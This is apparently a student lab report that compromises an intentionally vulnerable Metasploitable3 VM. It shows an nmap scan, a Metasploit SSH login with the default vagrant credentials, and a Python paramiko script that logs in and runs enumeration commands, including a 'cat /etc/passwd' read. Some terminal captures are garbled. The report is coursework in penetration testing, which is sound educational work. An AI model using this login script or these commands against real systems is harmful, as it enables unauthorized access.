

King Fahad University of Petroleum and Minerals

ICS344 Project Report

Group number: 06

Section: F08

Phase1

Duaa Alhassan

202168790

Zainab Almaskeen.

202175370

Renad Alqahtani

202169930

3/5/2025

Phase 1: Setup and Compromise the Service

Task 1.1:

1- Getting the ip address of the victim vm: 192.168.11.132 to use it later:

```
Metasploitable3 - VMware Workstation 17 Player (Non-commercial use only)
Player
* Documentation: https://help.ubuntu.com/
vagrant@metasploitable3-ub1404:~$ ifconfig
docker0: Link encap:Ethernet HWaddr 02:42:f5:af:ab:92
          inet addr:172.17.0.1 Bcast:172.17.255.255 Mask:255.255.0.0
          UP BROADCAST MULTICAST MTU:1500 Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

eth0: Link encap:Ethernet HWaddr 00:0c:29:1d:ad:07
       inet addr:192.168.11.132 Bcast:192.168.11.255 Mask:255.255.255.0
       inet6 addr: fe80::20c:29ff:fe1d:ad07/64 Scope:Link
       UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
       RX packets:4459 errors:0 dropped:0 overruns:0 frame:0
       TX packets:622 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:6382743 (6.3 MB) TX bytes:46533 (46.5 KB)

eth1: Link encap:Ethernet HWaddr 00:0c:29:1d:ad:11
       inet addr:172.28.128.3 Bcast:172.28.128.255 Mask:255.255.255.0
       UP BROADCAST MULTICAST MTU:1500 Metric:1
       RX packets:0 errors:0 dropped:0 overruns:0 frame:0
       TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:1000
       RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

lo: Link encap:Local Loopback
     inet addr:127.0.0.1 Mask:255.0.0.0
     inet6 addr: ::1/128 Scope:Host
     UP LOOPBACK RUNNING MTU:65536 Metric:1
     RX packets:260 errors:0 dropped:0 overruns:0 frame:0
     TX packets:260 errors:0 dropped:0 overruns:0 carrier:0
     collisions:0 txqueuelen:0
     RX bytes:54567 (54.5 KB) TX bytes:54567 (54.5 KB)

vagrant@metasploitable3-ub1404:~$
```

2- Getting the ip address of the attacker vm: 192.168.11.129 to use it later:

```
(duaa@kali)-[~]
$ ifconfig
br-7d9a869c2f35: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
                inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255
                ether 02:42:92:02:9f:b6 txqueuelen 0 (Ethernet)
                RX packets 0 bytes 0 (0.0 B)
                RX errors 0 dropped 0 overruns 0 frame 0
                TX packets 0 bytes 0 (0.0 B)
                TX errors 0 dropped 6 overruns 0 carrier 0 collisions 0

docker0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
          inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
          ether 02:42:0a:1a:9f:5c txqueuelen 0 (Ethernet)
          RX packets 0 bytes 0 (0.0 B)
          RX errors 0 dropped 0 overruns 0 frame 0
          TX packets 0 bytes 0 (0.0 B)
          TX errors 0 dropped 6 overruns 0 carrier 0 collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
       inet 192.168.11.129 netmask 255.255.255.0 broadcast 192.168.11.255
       inet6 fe80::20c:29ff:fe80:e219 prefixlen 64 scopeid 0x20<link>
       ether 00:0c:29:80:e2:19 txqueuelen 1000 (Ethernet)
       RX packets 23 bytes 1975 (1.9 KiB)
       RX errors 0 dropped 0 overruns 0 frame 0
       TX packets 31 bytes 3716 (3.6 KiB)
       TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 8 bytes 480 (480.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8 bytes 480 (480.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

3- Check connectivity between the attacker machine and the victim machine:

```
(duaa@kali)-[~]
$ ping 192.168.11.132
PING 192.168.11.132 (192.168.11.132) 56(84) bytes of data.
64 bytes from 192.168.11.132: icmp_seq=1 ttl=64 time=1.27 ms
64 bytes from 192.168.11.132: icmp_seq=2 ttl=64 time=0.540 ms
64 bytes from 192.168.11.132: icmp_seq=3 ttl=64 time=0.493 ms
64 bytes from 192.168.11.132: icmp_seq=4 ttl=64 time=0.591 ms
64 bytes from 192.168.11.132: icmp_seq=5 ttl=64 time=0.549 ms
^C
— 192.168.11.132 ping statistics —
5 packets transmitted, 5 received, 0% packet loss, time 4063ms
rtt min/avg/max/mdev = 0.493/0.689/1.274/0.293 ms
```

4- Check connectivity between the host machine and the victim machine:

```
Administrator: Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\WINDOWS\system32> ping 192.168.11.132

Pinging 192.168.11.132 with 32 bytes of data:
Reply from 192.168.11.132: bytes=32 time<1ms TTL=64
Reply from 192.168.11.132: bytes=32 time<1ms TTL=64
Reply from 192.168.11.132: bytes=32 time<1ms TTL=64
Reply from 192.168.11.132: bytes=32 time<1ms TTL=64

Ping statistics for 192.168.11.132:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
        Minimum = 0ms, Maximum = 0ms, Average = 0ms
PS C:\WINDOWS\system32>
```

5- Choose a Vulnerable Service on Metasploitable3:

The used command in the attacker machine initiates an Nmap scan with service version detection (-sV) against the target IP address 192.168.11.132. This helps identify open ports and the software versions running on those ports, which is crucial for selecting appropriate exploits.

```
(duaa@kali)-[~]
$ nmap -sV 192.168.11.132
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-02 08:48 EDT
Nmap scan report for 192.168.11.132
Host is up (0.00056s latency).
Not shown: 991 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          ProFTPD 1.3.5
22/tcp    open  ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.7
445/tcp    open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp    open  ipp          CUPS 1.7
3000/tcp   closed ppp
3306/tcp   open  mysql        MySQL (unauthorized)
8080/tcp   open  http         Jetty 8.1.7.v20120910
8181/tcp   closed intermapper
MAC Address: 00:0C:29:1D:AD:07 (VMware)
Service Info: Hosts: 127.0.0.1, METASPLOITABLE3-UB1404; OSs: Unix, Linux; CPE : cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds
```

6- Launch Metasploit:

This command launches the Metasploit Framework console, the primary interface for using Metasploit tools for penetration testing and exploitation.

```
(duaa@kali)-[~]
$ msfconsole
Metasploit tip: Network adapter names can be used for IP options set LHOST
eth0

Metasploit

...
  = [ metasploit v6.4.45-dev ]
+ -- -- [ 2490 exploits - 1281 auxiliary - 431 post ]
+ -- -- [ 1466 payloads - 49 encoders - 13 nops ]
+ -- -- [ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
msf6 > 
```

7- SSH Login Module Search:

Within the Metasploit console, this command searches for modules related to SSH login attempts. This helps find modules that can be used to identify valid SSH credentials.

```
msf6 > search ssh_login

Matching Modules

#  Name                                     Disclosure Date  Rank  Check
-  -
0  auxiliary/scanner/ssh/ssh_login          .              normal No
SSH Login Check Scanner
1  auxiliary/scanner/ssh/ssh_login_pubkey   .              normal No
SSH Public Key Login Scanner

Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssh/ssh_login_pubkey
```

8- Loading and Configuring SSH Login Scanner:

The first command selects and loads the auxiliary/scanner/ssh/ssh_login module. Auxiliary modules in Metasploit are used for various tasks other than direct exploitation, such as scanning and enumeration. This specific module is used to attempt SSH logins.

Show options command: This command displays the configurable options for the currently selected module (auxiliary/scanner/ssh/ssh_login). These options include target IP address, port, usernames, passwords, and other settings that control how the module operates.

```
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > show options

Module options (auxiliary/scanner/ssh/ssh_login):
```

Name	Current Setting	Required	Description
ANONYMOUS_LOGIN	false	yes	Attempt to login with a blank username and password
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to bruteforce, from 0 to 5
CreateSession	true	no	Create a new session for every successful login
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD		no	A specific password to authenticate with
PASS_FILE		no	File containing passwords, one per line
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/do

9- Target Configuration and Execution:

- set RHOSTS 192.168.11.132: Sets the target IP address.
- set RPORT 22: Sets the target SSH port.
- set USERNAME vagrant: Sets the username for login attempts.
- set PASSWORD vagrant: Sets the password for login attempts.
- exploit: Executes the SSH login module.

Output: Indicates successful login with vagrant:vagrant and an open SSH session (session 1).

```
msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.11.132
RHOSTS => 192.168.11.132
msf6 auxiliary(scanner/ssh/ssh_login) > set RPORT 22
RPORT => 22
msf6 auxiliary(scanner/ssh/ssh_login) > set USERNAME vagrant
USERNAME => vagrant
msf6 auxiliary(scanner/ssh/ssh_login) > set PASSWORD vagrant
PASSWORD => vagrant
msf6 auxiliary(scanner/ssh/ssh_login) > exploit
[*] 192.168.11.132:22 - Starting bruteforce
[+] 192.168.11.132:22 - Success: 'vagrant:vagrant' 'uid=900(vagrant) gid=900(vagrant) groups=900(vagrant),27(sudo) Linux metasploitable3-ub1404 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux'
[*] SSH session 1 opened (192.168.11.129:46783 -> 192.168.11.132:22) at 2025-05-02 09:09:39 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

10- Post-Exploitation and Information Gathering:

- sessions: Lists active Metasploit sessions, confirming the SSH connection.
- sessions -i 1: Opens an interactive shell on the compromised system (session 1).
- id: Displays user identity information.

- pwd: Shows the current working directory.
- ls -la /home: Lists files and directories in the /home directory with detailed information.
- uname -a: Prints system information.
- exit: Closes the interactive SSH session.

```
msf6 auxiliary(scanner/ssh/ssh_login) > sessions
```

Active sessions

Id	Name	Type	Information	Connection
1		shell linux	SSH duaa @	192.168.11.129:46783 → 192.168.11.132:22 (192.168.11.132)

```
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
```

[*] Starting interaction with 1...

```
id
uid=900(vagrant) gid=900(vagrant) groups=900(vagrant),27(sudo)
pwd
/home/vagrant
ls -la /home
total 72
drwxr-xr-x 18 root      root    4096 Oct 29  2020 .
drwxr-xr-x 23 root      root    4096 Jan  8  2022 ..
drwxr-xr-x  3 anakin_skywalker users  4096 Oct 29  2020 anakin_skywalker
drwxr-xr-x  3 artoo_detoo   users  4096 Oct 29  2020 artoo_detoo
drwxr-xr-x  2 ben_kenobi   users  4096 Oct 29  2020 ben_kenobi
drwxr-xr-x  2 boba_fett    users  4096 Oct 29  2020 boba_fett
drwxr-xr-x  2 chewbacca    users  4096 Oct 29  2020 chewbacca
drwxr-xr-x  2 c_three_pio  users  4096 Oct 29  2020 c_three_pio
drwxr-xr-x  2 darth_vader  users  4096 Oct 29  2020 darth_vader
drwxr-xr-x  2 greedo       users  4096 Oct 29  2020 greedo
drwxr-xr-x  2 han_solo     users  4096 Oct 29  2020 han_solo
drwxr-xr-x  2 jabba_hutt   users  4096 Oct 29  2020 jabba_hutt
drwxr-xr-x  2 jarjar_binks  users  4096 Oct 29  2020 jarjar_binks
drwxr-xr-x  4 kylo_ren     users  4096 Oct 29  2020 kylo_ren
drwxr-xr-x  2 lando_calrissian users  4096 Oct 29  2020 lando_calrissian
drwxr-xr-x  2 leia_organa   users  4096 Oct 29  2020 leia_organa
drwxr-xr-x  2 luke_skywalker users  4096 Oct 29  2020 luke_skywalker
drwxr-xr-x  7 vagrant      vagrant 4096 Jan  8  2022 vagrant
uname -a
Linux metasploitable3-ub1404 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
exit
```

[*] 192.168.11.132 - SSH session 1 closed. Reason: User exit

```
msf6 auxiliary(scanner/ssh/ssh_login) > █
```


Task 1.2:

1- Install the paramiko library in Kali:

This Python library enables SSH connections and command execution, which is essential for our script.

```
quit
(duaa@kali)-[~] her/ssh/ssh_login) > exit
$ sudo apt-get install python3-paramiko
(duaa@kali)-[~]
[sudo] password for duaa:
Reading package lists... Done db_nmap, be sure to check out the result
Building dependency tree... Done
Reading state information... Done
python3-paramiko is already the newest version (3.5.0-1).
0 upgraded, 0 newly installed, 0 to remove and 20 not upgraded.
```

2- Create the Python Script (on the Host Machine):

```
ssh_compromise.py
C: > Users > 96653 > OneDrive > Desktop > ssh_compromise.py > ssh_login
1  #!/usr/bin/env python3
2  import paramiko
3  import sys
4  def ssh_login(target_host, target_port, username, password):
5      """
6      Attempts to log in to an SSH server and executes commands.
7      """
8      try:
9          ssh = paramiko.SSHClient()
10         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # Automatically add host key (for testing only!)
11         ssh.connect(target_host, port=target_port, username=username, password=password)
12         print(f"[+] Successfully connected to {target_host}:{target_port} with {username}:{password}")
13         # Execute commands (Proof of Concept)
14         commands = ["id", "pwd", "ls -la /home", "uname -a"]
15         for cmd in commands:
16             stdin, stdout, stderr = ssh.exec_command(cmd)
17             print(f"\n--- Output of '{cmd}' ---")
18             for line in stdout:
19                 print(line.strip())
20             for line in stderr:
21                 print(line.strip(), file=sys.stderr) # Print stderr to standard error
22         ssh.close()
23         return True
24     except paramiko.AuthenticationException:
25         print(f"[-] Authentication failed for {username}:{password} on {target_host}:{target_port}")
26         return False
27     except paramiko.SSHException as e:
28         print(f"[-] SSH error: {e}")
29         print(f"[-] SSH error: {e}")
30         return False
31     except Exception as e:
32         print(f"[-] An error occurred: {e}")
33         return False
34 if __name__ == "__main__":
35     target_host = "192.168.11.132" # Replace with your Metasploitable3 IP
36     target_port = 22
37     username = "vagrant"
38     password = "vagrant"
39     if ssh_login(target_host, target_port, username, password):
40         print("\n[+] SSH compromise successful!")
41     else:
42         print("\n[-] SSH compromise failed.")
```

3- Transfer the script to the attacker machine:

Use scp (Secure Copy) to securely transfer the script from the host machine to the Kali Linux VM.

```
PS C:\Users\96653\OneDrive\Desktop> scp ssh_compromise.py duaa@192.168.11.129:/home/duaa/
duaa@192.168.11.129's password:
ssh_compromise.py
PS C:\Users\96653\OneDrive\Desktop> | 100% 1768 431.7KB/s 00:00
```

Navigate to the Script's Location in Kali to make sure it was transferred:

```

duaa@kali:~$ cd /home/duaa/
duaa@kali:~/asploit.com$ dir
.                  Downloads          Templates
..                 Music              Videos
burp_projects      Pictures - sary - 431  wget-log
burpsuite_community.sh .4.4
Desktop - 2490 exploits - 13
Documents 1466 payloads - 41 Publicans - 13 nops
download?product=community ssh_compromise.py

duaa@kali:~/asploit.com$
```

4- Make the Script Executable:

Using chmod +x ssh_compromise.py to give the script execute permissions. This allows us to run it as a program. +x adds executive permission.

```
duaa@kali:~$ chmod +x ssh_compromise.py
```

5- Execute the script:

Using ./ssh_compromise.py. The ./ tells the shell to run the script in the current directory.

The output shows a successful compromise by showing a connection message and the output of the commands (id, pwd, etc.) specified in the script.


```

(duaa@kali)-[~]
$ ./ssh_compromise.py -h/ssh_login) > exit

[+] Successfully connected to 192.168.11.132:22 with vagrant:vagrant
$ cat /etc/passwd
--- Output of 'id' --- running db_nmap, be sure to check out the result
uid=900(vagrant) gid=900(vagrant) groups=900(vagrant),27(sudo)

--- Output of 'pwd' ---
/home/vagrant
/home/vagrant
--- Output of 'ls -la /home' ---
total 72
drwxr-xr-x 18 root      root      4096 Oct 29  2020 .
drwxr-xr-x 23 root      root      4096 Jan  8  2022 ..
drwxr-xr-x  3 anakin_skywalker users  4096 Oct 29  2020 anakin_skywalker
drwxr-xr-x  3 artoo_detoo  users  4096 Oct 29  2020 artoo_detoo
drwxr-xr-x  2 ben_kenobi   users  4096 Oct 29  2020 ben_kenobi
drwxr-xr-x  2 boba_fett    users  4096 Oct 29  2020 boba_fett
drwxr-xr-x  2 chewbacca    users  4096 Oct 29  2020 chewbacca
drwxr-xr-x  2 c_three_pio  users  4096 Oct 29  2020 c_three_pio
drwxr-xr-x  2 darth_vader  users  4096 Oct 29  2020 darth_vader
drwxr-xr-x  2 greedo       users  4096 Oct 29  2020 greedo
drwxr-xr-x  2 han_solo     users  4096 Oct 29  2020 han_solo
drwxr-xr-x  2 jabba_hutt   users  4096 Oct 29  2020 jabba_hutt
drwxr-xr-x  2 jarjar_binks users  4096 Oct 29  2020 jarjar_binks
drwxr-xr-x  4 kylo_ren     users  4096 Oct 29  2020 kylo_ren
drwxr-xr-x  2 lando_calrissian users  4096 Oct 29  2020 lando_calrissian
drwxr-xr-x  2 leia_organa   users  4096 Oct 29  2020 leia_organa
drwxr-xr-x  2 luke_skywalker users  4096 Oct 29  2020 luke_skywalker
drwxr-xr-x  7 vagrant      vagrant 4096 Jan  8  2022 vagrant
$ cat /etc/passwd
--- Output of 'uname -a' --- 81 auxiliary - 431 post
Linux metasploitable3-ub1404 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:
40:49 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux

[+] SSH compromise successful! s://docs.metasploit.com/

(duaa@kali)-[~]

```